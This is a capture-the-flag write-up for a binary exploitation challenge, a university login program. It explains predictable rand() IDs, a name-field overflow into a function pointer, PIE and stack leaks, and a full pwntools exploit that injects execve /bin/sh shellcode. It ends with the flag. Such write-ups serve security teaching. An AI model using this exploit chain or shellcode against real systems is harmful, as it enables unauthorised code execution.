Take a look at this super l33t login system I made for my Computer Architecture class! Heh…my prof is gonna be so proud. He’s 100% gonna boost my GPA.
Surely this will be safe to push to prod. I’ll even do it for him!
nc challs.ctf.rusec.club 4622The challenge provides a university login system with role-based access control. Users authenticate via randomly generated RUIDs (Rutgers University IDs), and different roles grant different privileges.
Binary protections #
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segmentsThe binary has most standard protections enabled, but critically, the stack is executable. This immediately suggests a shellcode-based exploitation path.
Reverse engineering #
User structure and initialization #
The binary defines a user structure that stores names, RUIDs, and function pointers:
struct user {
char name[32];
uint64_t fn; // function pointer
uint64_t ruid; // random user ID
};During initialization, two privileged users are created:
int64_t setup_users() {
char const* names[2];
names[0] = &titles.prof;
names[1] = &titles.dean;
int64_t (* handlers[2])();
handlers[0] = prof;
handlers[1] = dean;
for (int32_t i = 0; i <= 1; i += 1) {
strcpy(&users[i], (&names)[i], &users);
users[i].ruid = rand(); // predictable PRNG
users[i].fn = handlers[i];
}
}The RUIDs are generated using rand() without seeding, making them completely predictable across runs.
Authentication flow #
The main loop prompts for a RUID and calls the corresponding user’s function pointer if a match is found:
printf("Please enter your RUID: ");
uint64_t ruid;
scanf("%lu%*c", &ruid);
for (int32_t i = 0; i <= 1; i += 1) {
if (users[i].ruid == ruid) {
printf("Welcome, %s!\n", &users[i]);
users[i].fn(); // call function pointer
match = 1;
}
}This design allows us to trigger arbitrary function pointers by authenticating as different users.
Vulnerability: dean() overflow #
The dean() function allows modifying staff member names but contains a critical buffer overflow:
int64_t dean() {
puts("Change a staff member's name!");
list_ruids();
int32_t user_idx;
if (get_number(&user_idx, 2)) {
printf("New name: ");
read(0, &users[user_idx], 0x29); // writes 41 bytes into 32-byte name
}
}The read() call accepts 41 bytes into a 32-byte buffer, allowing us to overflow into the function pointer (8 bytes) and partially into the RUID (1 byte).
Shellcode injection point #
Early in main(), the program reads a NetID into a stack buffer:
char net_id[0x40];
read(0, &net_id, 0x40);Since the stack is executable, this becomes our shellcode injection point.
Exploitation strategy #
The attack proceeds in four stages:
- Predict RUIDs - Calculate the deterministic
rand()values - Inject shellcode - Place shellcode on the stack via the NetID prompt
- Leak PIE base - Overflow to leak a code pointer
- Leak stack address - Redirect execution to leak a stack pointer
- Hijack control flow - Point function pointer to shellcode
Predicting RUIDs #
Since rand() is unseeded, we can predict the values locally:
from ctypes import CDLL
libc = CDLL("libc.so.6")
prof_ruid = libc.rand() # first rand() -> Professor
dean_ruid = libc.rand() # second rand() -> DeanThese values remain constant across all executions of the binary.
Stage 1: Shellcode injection #
We inject execve shellcode at the NetID prompt:
shellcode = asm(
"""
xor esi, esi
xor edx, edx
xor eax, eax
push rax
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
mov al, 59
syscall
"""
)
p.sendlineafter(b"Please enter your netID:", shellcode)This shellcode executes /bin/sh and will be our final target.
Stage 2: PIE leak #
We authenticate as the Dean and overflow the Professor’s name field:
p.sendlineafter(b"Please enter your RUID:", str(dean_ruid).encode())
p.sendlineafter(b"Num:", b"0")
p.sendafter(b"New name:", b"A" * 32)By writing exactly 32 bytes, we force the function pointer to be printed alongside the name, leaking a code address.
p.recvuntil(b"[0] {RUID REDACTED} ")
leak = struct.unpack("<Q", p.recvline(keepends=False)[32:].ljust(8, b"\0"))[0]
bin.address = leak - 0x12f3Stage 3: Stack leak #
We overwrite the Professor’s function pointer with puts@plt:
p.sendlineafter(b"RUID:", str(dean_ruid).encode())
p.sendlineafter(b"Num:", b"0")
p.sendafter(b"New name:", b"A" * 32 + p64(bin.plt["puts"]))When we authenticate as the Professor, instead of calling the intended handler, puts() is invoked with the user structure’s address, leaking a stack pointer:
p.sendlineafter(b"your RUID:", str(prof_ruid).encode())
p.recvuntil(b"Welcome")
p.recvline()
stack_leak = struct.unpack("<Q", p.recvline(keepends=False).ljust(8, b"\0"))[0]
shell_addr = stack_leak + 0x1c0 # calculate shellcode locationStage 4: Shellcode execution #
Finally, we overwrite the Professor’s function pointer to point to our shellcode:
p.sendlineafter(b"RUID:", str(dean_ruid).encode())
p.sendlineafter(b"Num:", b"0")
p.sendafter(b"New name:", b"A" * 32 + p64(shell_addr))Authenticating as the Professor now triggers our shellcode:
p.sendlineafter(b"RUID:", str(prof_ruid).encode())
p.interactive()Final exploit #
from ctypes import CDLL
from pwn import *
context.binary = bin = ELF("./ruid_login", checksec=False)
libc = CDLL("libc.so.6")
prof_ruid = libc.rand()
dean_ruid = libc.rand()
shellcode = asm(
"""
xor esi, esi
xor edx, edx
xor eax, eax
push rax
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
mov al, 59
syscall
"""
)
p = remote("challs.ctf.rusec.club", 4622)
# Stage 1: Inject shellcode
p.sendlineafter(b"Please enter your netID:", shellcode)
# Stage 2: Leak PIE base
p.sendlineafter(b"Please enter your RUID:", str(dean_ruid).encode())
p.sendlineafter(b"Num:", b"0")
p.sendafter(b"New name:", b"A" * 32)
p.recvuntil(b"[0] {RUID REDACTED} ")
leak = struct.unpack("<Q", p.recvline(keepends=False)[32:].ljust(8, b"\0"))[0]
bin.address = leak - 0x12f3
# Stage 3: Leak stack address
p.sendlineafter(b"RUID:", str(dean_ruid).encode())
p.sendlineafter(b"Num:", b"0")
p.sendafter(b"New name:", b"A" * 32 + p64(bin.plt["puts"]))
p.sendlineafter(b"your RUID:", str(prof_ruid).encode())
p.recvuntil(b"Welcome")
p.recvline()
stack_leak = struct.unpack("<Q", p.recvline(keepends=False).ljust(8, b"\0"))[0]
shell_addr = stack_leak + 0x1c0
# Stage 4: Execute shellcode
p.sendlineafter(b"RUID:", str(dean_ruid).encode())
p.sendlineafter(b"Num:", b"0")
p.sendafter(b"New name:", b"A" * 32 + p64(shell_addr))
p.sendlineafter(b"RUID:", str(prof_ruid).encode())
p.interactive()Flag #
RUSEC{w0w_th4ts_such_a_l0ng_net1D_w4it_w4it_wh4ts_g0ing_0n_uh_0h}